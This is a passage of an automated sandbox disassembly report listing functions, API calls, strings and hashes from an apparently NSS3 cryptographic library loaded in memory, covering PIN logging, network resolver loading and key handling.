PR_LogPrint.NSS3(?,00000000), ref: 6C732F79
PR_LogPrint.NSS3( pOldPin = 0x%p,?), ref: 6C732F9A
PR_LogPrint.NSS3( ulOldLen = %d,?), ref: 6C732FB5
PR_LogPrint.NSS3( pNewPin = 0x%p,?), ref: 6C732FCE
PR_LogPrint.NSS3( ulNewLen = %d,?), ref: 6C732FE7

Strings

ulOldLen = %d, xrefs: 6C732FB0
hSession = 0x%x, xrefs: 6C732F3E, 6C732F4E
(CK_INVALID_HANDLE), xrefs: 6C732F5C
pOldPin = 0x%p, xrefs: 6C732F95
C_SetPIN, xrefs: 6C732F21
ulNewLen = %d, xrefs: 6C732FE2
pNewPin = 0x%p, xrefs: 6C732FC9

Memory Dump Source

Source File: 00000000.00000002.1974330275.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.1974253054.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978403918.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978616526.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978677680.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978716655.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978751071.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: hSession = 0x%x$ pNewPin = 0x%p$ pOldPin = 0x%p$ ulNewLen = %d$ ulOldLen = %d$ (CK_INVALID_HANDLE)$C_SetPIN
API String ID: 1003633598-3716813897
Opcode ID: 5c3fbdb233c94a5af064ca01f116b974a71e8fe9e4308542273215097e78d4ac
Instruction ID: 3d9fde8af60f6fef0027ea6b4a1b179a96ab9337a8fab14be9c2af41998cd2fd
Opcode Fuzzy Hash: 5c3fbdb233c94a5af064ca01f116b974a71e8fe9e4308542273215097e78d4ac
Instruction Fuzzy Hash: 3A31F431605165ABDB219B55CF4CE6A37B6AB4634DF046474F80CABB13DB38A848CBD1

Function 6C7CCD70 Relevance: 26.3, APIs: 10, Strings: 5, Instructions: 76COMMON

Download Yara Rule

APIs

PR_LoadLibrary.NSS3(ws2_32.dll,?,?,?,6C7CCC7B), ref: 6C7CCD7A

Part of subcall function 6C7CCE60: PR_LoadLibraryWithFlags.NSS3(?,?,?,?,00000000,?,6C73C1A8,?), ref: 6C7CCE92

PR_FindSymbol.NSS3(00000000,freeaddrinfo), ref: 6C7CCDA5
PR_FindSymbol.NSS3(00000000,getnameinfo), ref: 6C7CCDB8
PR_UnloadLibrary.NSS3(00000000), ref: 6C7CCDDB
PR_FindSymbol.NSS3(00000000,getaddrinfo), ref: 6C7CCD8E

Part of subcall function 6C6F05C0: PR_EnterMonitor.NSS3 ref: 6C6F05D1
Part of subcall function 6C6F05C0: PR_ExitMonitor.NSS3 ref: 6C6F05EA

PR_LoadLibrary.NSS3(wship6.dll), ref: 6C7CCDE8
PR_FindSymbol.NSS3(00000000,getaddrinfo), ref: 6C7CCDFF
PR_FindSymbol.NSS3(00000000,freeaddrinfo), ref: 6C7CCE16
PR_FindSymbol.NSS3(00000000,getnameinfo), ref: 6C7CCE29
PR_UnloadLibrary.NSS3(00000000), ref: 6C7CCE48

Strings

getaddrinfo, xrefs: 6C7CCD88, 6C7CCDF9
freeaddrinfo, xrefs: 6C7CCD9F, 6C7CCE10
getnameinfo, xrefs: 6C7CCDB2, 6C7CCE23
wship6.dll, xrefs: 6C7CCDE3
ws2_32.dll, xrefs: 6C7CCD75

Memory Dump Source

Source File: 00000000.00000002.1974330275.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.1974253054.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978403918.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978616526.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978677680.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978716655.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978751071.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: FindSymbol$Library$Load$MonitorUnload$EnterExitFlagsWith
String ID: freeaddrinfo$getaddrinfo$getnameinfo$ws2_32.dll$wship6.dll
API String ID: 601260978-871931242
Opcode ID: 8265056cad68ff0583820c511447759d02fbedc505f1b4fd24083e850732d0ff
Instruction ID: 67c34fa81f452e711d4843c846a8c45f4f4704388ec8f4d924e4d10f1b8255f4
Opcode Fuzzy Hash: 8265056cad68ff0583820c511447759d02fbedc505f1b4fd24083e850732d0ff
Instruction Fuzzy Hash: 5111DDD5F025321ADB1165B63E055BA38595B0334EF147935DC19D5F02FB10C50AC6FB

Function 6C811C60 Relevance: 25.6, APIs: 17, Instructions: 114COMMON

Download Yara Rule

APIs

calloc.MOZGLUE(00000001,00000040,?,?,?,?,?,6C8113BC,?,?,?,6C811193), ref: 6C811C6B
PR_NewLock.NSS3(?,6C811193), ref: 6C811C7E

Part of subcall function 6C7C98D0: calloc.MOZGLUE(00000001,00000084,6C6F0936,00000001,?,6C6F102C), ref: 6C7C98E5

PR_NewCondVar.NSS3(00000000,?,6C811193), ref: 6C811C91

Part of subcall function 6C6EBB80: calloc.MOZGLUE(00000001,00000084,00000000,00000040,?,6C6F21BC), ref: 6C6EBB8C

PR_NewCondVar.NSS3(00000000,?,?,6C811193), ref: 6C811CA7

Part of subcall function 6C6EBB80: PR_SetError.NSS3(FFFFE890,00000000), ref: 6C6EBBEB
Part of subcall function 6C6EBB80: InitializeCriticalSectionAndSpinCount.KERNEL32(0000000C,000005DC), ref: 6C6EBBFB
Part of subcall function 6C6EBB80: GetLastError.KERNEL32 ref: 6C6EBC03
Part of subcall function 6C6EBB80: PR_SetError.NSS3(FFFFE8AA,00000000), ref: 6C6EBC19
Part of subcall function 6C6EBB80: free.MOZGLUE(00000000), ref: 6C6EBC22

PR_NewCondVar.NSS3(00000000,?,?,?,6C811193), ref: 6C811CBE
PR_NewCondVar.NSS3(00000000,?,?,?,?,6C811193), ref: 6C811CD4
calloc.MOZGLUE(00000001,000000F4,?,?,?,?,?,6C811193), ref: 6C811CFE
PR_Lock.NSS3(?,?,?,?,?,?,?,6C811193), ref: 6C811D1A

Part of subcall function 6C7C9BA0: TlsGetValue.KERNEL32(00000000,00000000,?,6C6F1A48), ref: 6C7C9BB3
Part of subcall function 6C7C9BA0: EnterCriticalSection.KERNEL32(?,?,?,?,6C6F1A48), ref: 6C7C9BC8

PR_Unlock.NSS3(?,?,?,?,?,?,?,?,6C811193), ref: 6C811D3D

Part of subcall function 6C7ADD70: TlsGetValue.KERNEL32 ref: 6C7ADD8C
Part of subcall function 6C7ADD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6C7ADDB4

PR_SetError.NSS3(FFFFE890,00000000,?,6C811193), ref: 6C811D4E
PR_SetError.NSS3(FFFFE890,00000000,?,?,?,?,?,?,?,6C811193), ref: 6C811D64
PR_DestroyCondVar.NSS3(?,?,?,?,?,?,?,?,?,?,6C811193), ref: 6C811D6F
PR_DestroyCondVar.NSS3(00000000,?,?,?,?,?,6C811193), ref: 6C811D7B
PR_DestroyCondVar.NSS3(?,?,?,?,?,6C811193), ref: 6C811D87
PR_DestroyCondVar.NSS3(00000000,?,?,?,6C811193), ref: 6C811D93
PR_DestroyLock.NSS3(00000000,?,?,6C811193), ref: 6C811D9F
free.MOZGLUE(00000000,?,6C811193), ref: 6C811DA8

Memory Dump Source

Source File: 00000000.00000002.1974330275.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.1974253054.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978403918.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978616526.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978677680.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978716655.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978751071.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: Cond$DestroyError$calloc$CriticalLockSection$Valuefree$CountEnterInitializeLastLeaveSpinUnlock
String ID:
API String ID: 3246495057-0
Opcode ID: 4468bdb1060bcd4c352beac36369694c1b6baf0e5840685d28201d6e8b5dd823
Instruction ID: cd69f1eaccf644222c2509cf156d06c6ba2fc97b4108c5f494b52fc20a12e07d
Opcode Fuzzy Hash: 4468bdb1060bcd4c352beac36369694c1b6baf0e5840685d28201d6e8b5dd823
Instruction Fuzzy Hash: 3131E6F5E007025FEB219F65AD45A677AF4AF1660DB044839E84A87F41FB31E408CBA6

Function 6C725E60 Relevance: 24.8, APIs: 11, Strings: 3, Instructions: 348COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6C725ECF
EnterCriticalSection.KERNEL32(?), ref: 6C725EE3
PR_Unlock.NSS3(?), ref: 6C725F0A
PK11_MakeIDFromPubKey.NSS3(00000014), ref: 6C725FB5

Strings

S&tl, xrefs: 6C7262E3
NSS_USE_DECODED_CKA_EC_POINT, xrefs: 6C7261F4
S&tl, xrefs: 6C725E6C, 6C72627F, 6C725F12

Memory Dump Source

Source File: 00000000.00000002.1974330275.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.1974253054.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978403918.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978616526.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978677680.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978716655.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978751071.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: CriticalEnterFromK11_MakeSectionUnlockValue
String ID: NSS_USE_DECODED_CKA_EC_POINT$S&tl$S&tl
API String ID: 2280678669-3603847617
Opcode ID: 2684eacac455e722b4813bd71967e493ca0307c862177ab6b1cb491b58088977
Instruction ID: fe6d664eccdd94d0348f31d852998f4d2dbd1cd341e2389bdbfdf7c369760257
Opcode Fuzzy Hash: 2684eacac455e722b4813bd71967e493ca0307c862177ab6b1cb491b58088977
Instruction Fuzzy Hash: 12F1E5B5A002158FDB54CF18C984B86BBF4FF09308F5582AAD8089F746E774EA95CF91

Function 6C770C60 Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 153memoryCOMMON

Download Yara Rule

APIs

SECOID_GetAlgorithmTag_Util.NSS3(*,wl), ref: 6C770C81

Part of subcall function 6C75BE30: SECOID_FindOID_Util.NSS3(6C71311B,00000000,?,6C71311B,?), ref: 6C75BE44

Part of subcall function 6C748500: SECOID_GetAlgorithmTag_Util.NSS3(6C7495DC,00000000,00000000,00000000,?,6C7495DC,00000000,00000000,?,6C727F4A,00000000,?,00000000,00000000), ref: 6C748517

SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C770CC4

Part of subcall function 6C75FAB0: free.MOZGLUE(?,-00000001,?,?,6C6FF673,00000000,00000000), ref: 6C75FAC7

SECOID_FindOIDByTag_Util.NSS3(00000000), ref: 6C770CD5
PORT_ZAlloc_Util.NSS3(0000101C), ref: 6C770D1D
PK11_GetBlockSize.NSS3(-00000001,00000000), ref: 6C770D3B
PK11_CreateContextBySymKey.NSS3(-00000001,00000104,?,00000000), ref: 6C770D7D
free.MOZGLUE(00000000), ref: 6C770DB5
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C770DC1
free.MOZGLUE(00000000), ref: 6C770DF7
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C770E05
PK11_DestroyContext.NSS3(00000000,00000001), ref: 6C770E0F

Part of subcall function 6C7495C0: SECOID_FindOIDByTag_Util.NSS3(00000000,?,00000000,?,6C727F4A,00000000,?,00000000,00000000), ref: 6C7495E0
Part of subcall function 6C7495C0: PK11_GetIVLength.NSS3(?,?,?,00000000,?,6C727F4A,00000000,?,00000000,00000000), ref: 6C7495F5
Part of subcall function 6C7495C0: SECOID_GetAlgorithmTag_Util.NSS3(00000000), ref: 6C749609
Part of subcall function 6C7495C0: SECOID_FindOIDByTag_Util.NSS3(00000000), ref: 6C74961D
Part of subcall function 6C7495C0: PK11_GetInternalSlot.NSS3 ref: 6C74970B
Part of subcall function 6C7495C0: PK11_FreeSymKey.NSS3(00000000), ref: 6C749756
Part of subcall function 6C7495C0: PK11_GetIVLength.NSS3(?), ref: 6C749767
Part of subcall function 6C7495C0: SECITEM_DupItem_Util.NSS3(00000000), ref: 6C74977E
Part of subcall function 6C7495C0: SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6C74978E

Strings

*,wl, xrefs: 6C770C69, 6C770DE0, 6C770C80, 6C770C8B, 6C770CAF
*,wl, xrefs: 6C770DCC
-$wl, xrefs: 6C770C64

Memory Dump Source

Source File: 00000000.00000002.1974330275.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.1974253054.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978403918.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978616526.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978677680.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978716655.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978751071.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: Util$K11_$Tag_$Item_$FindZfree$Algorithmfree$ContextLength$Alloc_BlockCreateDestroyFreeInternalSizeSlot
String ID: *,wl$*,wl$-$wl
API String ID: 3136566230-962488925
Opcode ID: 42c54cf8603e0a86bce4476d41abac19fd68b50bb4f3267426f1007664103001
Instruction ID: b816b922590dc016f9f17d4c8602b91850cafbd3d9f20ac6edf265c1ac21a9f6
Opcode Fuzzy Hash: 42c54cf8603e0a86bce4476d41abac19fd68b50bb4f3267426f1007664103001
Instruction Fuzzy Hash: 1241C2B5900249ABEF109F65DE4ABAF7678AF0530CF104134E91557742EB36EA18CBF2

Function 6C765CA0 Relevance: 24.6, APIs: 9, Strings: 5, Instructions: 109stringCOMMON

Download Yara Rule

APIs

strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,multiaccess:,0000000C,?,00000000,?,?,6C765EC0,00000000,?,?), ref: 6C765CBE
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,sql:,00000004,?,?,?), ref: 6C765CD7
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,extern:,00000007), ref: 6C765CF0
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,dbm:,00000004), ref: 6C765D09
PR_GetEnvSecure.NSS3(NSS_DEFAULT_DB_TYPE,?,00000000,?,?,6C765EC0,00000000,?,?), ref: 6C765D1F
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,sql:,00000003,?), ref: 6C765D3C
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,extern:,00000006,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C765D51
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,dbm:,00000003,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C765D66
PORT_Strdup_Util.NSS3(?,?,?,?), ref: 6C765D80

Strings

dbm:, xrefs: 6C765D03, 6C765D60
multiaccess:, xrefs: 6C765CB8
NSS_DEFAULT_DB_TYPE, xrefs: 6C765D1A
sql:, xrefs: 6C765CD1, 6C765D36
extern:, xrefs: 6C765CEA, 6C765D4B

Memory Dump Source

Source File: 00000000.00000002.1974330275.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.1974253054.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978403918.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978616526.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978677680.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978716655.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978751071.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: strncmp$SecureStrdup_Util
String ID: NSS_DEFAULT_DB_TYPE$dbm:$extern:$multiaccess:$sql:
API String ID: 1171493939-3017051476
Opcode ID: 0656853923052c7fae27e765aae91399a76000cbac106088fdd26c00461e82c0
Instruction ID: 506782f47e47f06acbe81903d69907ddcaada5a6c49d00d6120b605a568bb298
Opcode Fuzzy Hash: 0656853923052c7fae27e765aae91399a76000cbac106088fdd26c00461e82c0
Instruction Fuzzy Hash: B03124F07013016BF7A11A26EE8AB663768AF0234CF100430ED55A6FC3E7B5D401DAD5

Function 6C766CA0 Relevance: 24.3, APIs: 16, Instructions: 311memoryCOMMON

Download Yara Rule

APIs

SEC_ASN1DecodeItem_Util.NSS3(?,?,6C831DE0,?), ref: 6C766CFE
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C766D26
PR_SetError.NSS3(FFFFE04F,00000000), ref: 6C766D70
PORT_Alloc_Util.NSS3(00000480), ref: 6C766D82
DER_GetInteger_Util.NSS3(?), ref: 6C766DA2
SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6C766DD8
PK11_KeyGen.NSS3(00000000,8000000B,?,00000000,00000000), ref: 6C766E60
PK11_CreateContextBySymKey.NSS3(00000201,00000108,?,?), ref: 6C766F19
PK11_DigestBegin.NSS3(00000000), ref: 6C766F2D
PK11_DigestOp.NSS3(?,?,00000000), ref: 6C766F7B
PK11_DestroyContext.NSS3(00000000,00000001), ref: 6C767011
PK11_FreeSymKey.NSS3(00000000), ref: 6C767033
free.MOZGLUE(?), ref: 6C76703F
PK11_DigestFinal.NSS3(?,?,?,00000400), ref: 6C767060
SECITEM_CompareItem_Util.NSS3(?,?), ref: 6C767087
PR_SetError.NSS3(FFFFE062,00000000), ref: 6C7670AF

Memory Dump Source

Source File: 00000000.00000002.1974330275.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.1974253054.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978403918.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978616526.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978677680.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978716655.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978751071.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: K11_$Util$DigestError$ContextItem_$AlgorithmAlloc_BeginCompareCreateDecodeDestroyFinalFreeInteger_Tag_free
String ID:
API String ID: 2108637330-0
Opcode ID: 4e75a3662afee719bbbc03ee8ce2ef46331df9e35e4a63af6c3ea9d1ea724146
Instruction ID: 15695182e0a551636965d1327cba3d7b646bb0e24c1bfa7638be84504bee2bfe
Opcode Fuzzy Hash: 4e75a3662afee719bbbc03ee8ce2ef46331df9e35e4a63af6c3ea9d1ea724146
Instruction Fuzzy Hash: 0EA13B719042009BEB009F26CF59BAB3295EB8130CF648939ED58CBF81E775DA49C793

Function 6C72AEC0 Relevance: 24.3, APIs: 16, Instructions: 272threadCOMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,?,?,6C70AB95,00000000,?,00000000,00000000,00000000), ref: 6C72AF25
EnterCriticalSection.KERNEL32(?,?,?,?,6C70AB95,00000000,?,00000000,00000000,00000000), ref: 6C72AF39
PR_Unlock.NSS3(?,?,?,6C70AB95,00000000,?,00000000,00000000,00000000), ref: 6C72AF51
PR_SetError.NSS3(FFFFE041,00000000,?,?,?,6C70AB95,00000000,?,00000000,00000000,00000000), ref: 6C72AF69
TlsGetValue.KERNEL32 ref: 6C72B06B
EnterCriticalSection.KERNEL32(?), ref: 6C72B083
PR_Unlock.NSS3(?), ref: 6C72B0A4
TlsGetValue.KERNEL32 ref: 6C72B0C1
EnterCriticalSection.KERNEL32(00000000), ref: 6C72B0D9
PR_Unlock.NSS3 ref: 6C72B102
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C72B151
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C72B182

Part of subcall function 6C75FAB0: free.MOZGLUE(?,-00000001,?,?,6C6FF673,00000000,00000000), ref: 6C75FAC7

PR_SetError.NSS3(FFFFE08A,00000000), ref: 6C72B177

Part of subcall function 6C7AC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C7AC2BF

SECITEM_ZfreeItem_Util.NSS3(00000000,00000001,?,?,6C70AB95,00000000,?,00000000,00000000,00000000), ref: 6C72B1A2
PR_GetCurrentThread.NSS3(?,?,?,?,6C70AB95,00000000,?,00000000,00000000,00000000), ref: 6C72B1AA
PR_SetError.NSS3(FFFFE018,00000000,?,?,?,?,6C70AB95,00000000,?,00000000,00000000,00000000), ref: 6C72B1C2

Part of subcall function 6C751560: TlsGetValue.KERNEL32(00000000,?,6C720844,?), ref: 6C75157A
Part of subcall function 6C751560: EnterCriticalSection.KERNEL32(?,?,?,6C720844,?), ref: 6C75158F
Part of subcall function 6C751560: PR_Unlock.NSS3(?,?,?,?,6C720844,?), ref: 6C7515B2

Memory Dump Source

Source File: 00000000.00000002.1974330275.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.1974253054.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978403918.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978616526.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978677680.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978716655.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978751071.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: Value$CriticalEnterSectionUnlock$ErrorItem_UtilZfree$CurrentThreadfree
String ID:
API String ID: 4188828017-0
Opcode ID: d730e3ba7042663c4c4020d41573aa444626d04a222ac204b8d17bdc139191cb
Instruction ID: c1b015cd0b0ee875651b1edf76827e26d11eb400d37ee4f13a968c28503bdb09
Opcode Fuzzy Hash: d730e3ba7042663c4c4020d41573aa444626d04a222ac204b8d17bdc139191cb
Instruction Fuzzy Hash: 09A1D0B1D00206ABEF019F64DD49AEAB7B4FF08318F144134E805A7752E739E959CBE2

Function 6C722C40 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 163COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(#?rl,?,6C71E477,?,?,?,00000001,00000000,?,?,6C723F23,?), ref: 6C722C62
EnterCriticalSection.KERNEL32(0000001C,?,6C71E477,?,?,?,00000001,00000000,?,?,6C723F23,?), ref: 6C722C76
PL_HashTableLookup.NSS3(00000000,?,?,6C71E477,?,?,?,00000001,00000000,?,?,6C723F23,?), ref: 6C722C86
PR_Unlock.NSS3(00000000,?,?,?,?,6C71E477,?,?,?,00000001,00000000,?,?,6C723F23,?), ref: 6C722C93

Part of subcall function 6C7ADD70: TlsGetValue.KERNEL32 ref: 6C7ADD8C
Part of subcall function 6C7ADD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6C7ADDB4

TlsGetValue.KERNEL32(?,?,?,?,?,6C71E477,?,?,?,00000001,00000000,?,?,6C723F23,?), ref: 6C722CC6
EnterCriticalSection.KERNEL32(0000001C,?,?,?,?,?,6C71E477,?,?,?,00000001,00000000,?,?,6C723F23,?), ref: 6C722CDA
PL_HashTableLookup.NSS3(00000000,?,?,?,?,?,?,6C71E477,?,?,?,00000001,00000000,?,?,6C723F23), ref: 6C722CEA
PR_Unlock.NSS3(00000000,?,?,?,?,?,?,?,6C71E477,?,?,?,00000001,00000000,?), ref: 6C722CF7
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,6C71E477,?,?,?,00000001,00000000,?), ref: 6C722D4D
EnterCriticalSection.KERNEL32(?), ref: 6C722D61
PL_HashTableLookup.NSS3(?,?), ref: 6C722D71
PR_Unlock.NSS3(?), ref: 6C722D7E

Part of subcall function 6C6F07A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6C68204A), ref: 6C6F07AD
Part of subcall function 6C6F07A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C68204A), ref: 6C6F07CD
Part of subcall function 6C6F07A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C68204A), ref: 6C6F07D6
Part of subcall function 6C6F07A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6C68204A), ref: 6C6F07E4
Part of subcall function 6C6F07A0: TlsSetValue.KERNEL32(00000000,?,6C68204A), ref: 6C6F0864
Part of subcall function 6C6F07A0: calloc.MOZGLUE(00000001,0000002C), ref: 6C6F0880
Part of subcall function 6C6F07A0: TlsSetValue.KERNEL32(00000000,?,?,6C68204A), ref: 6C6F08CB
Part of subcall function 6C6F07A0: TlsGetValue.KERNEL32(?,?,6C68204A), ref: 6C6F08D7
Part of subcall function 6C6F07A0: TlsGetValue.KERNEL32(?,?,6C68204A), ref: 6C6F08FB

Strings

#?rl, xrefs: 6C722C43

Memory Dump Source

Source File: 00000000.00000002.1974330275.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.1974253054.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978403918.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978616526.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978677680.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978716655.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978751071.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: Value$CriticalSection$EnterHashLookupTableUnlock$calloc$Leave
String ID: #?rl
API String ID: 2446853827-3858320230
Opcode ID: 81fa02d3991c16a73ad500a9470deba3c6bbbebbb25dfb94b57c1b52be787219
Instruction ID: 6bde899d170c55d1eb8b69236df32dc17ad8e1285490f1eb3fc08e67014bf11c
Opcode Fuzzy Hash: 81fa02d3991c16a73ad500a9470deba3c6bbbebbb25dfb94b57c1b52be787219
Instruction Fuzzy Hash: ED5118B6D00105ABDB109F24DD498AAB7B8FF1936CB188530EC1897B12E735ED65CBE1

Function 6C77AD90 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 127COMMON

Download Yara Rule

APIs

SECOID_GetAlgorithmTag_Util.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C77ADB1

Part of subcall function 6C75BE30: SECOID_FindOID_Util.NSS3(6C71311B,00000000,?,6C71311B,?), ref: 6C75BE44

PL_InitArenaPool.NSS3(?,security,00000800,00000008), ref: 6C77ADF4
SEC_QuickDERDecodeItem_Util.NSS3(?,?,?,?), ref: 6C77AE08

Part of subcall function 6C75B030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6C8318D0,?), ref: 6C75B095

SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6C77AE25
PL_FreeArenaPool.NSS3 ref: 6C77AE63
PR_CallOnce.NSS3(6C862AA4,6C7612D0), ref: 6C77AE4D

Part of subcall function 6C684C70: TlsGetValue.KERNEL32(?,?,?,6C683921,6C8614E4,6C7CCC70), ref: 6C684C97
Part of subcall function 6C684C70: EnterCriticalSection.KERNEL32(?,?,?,?,6C683921,6C8614E4,6C7CCC70), ref: 6C684CB0
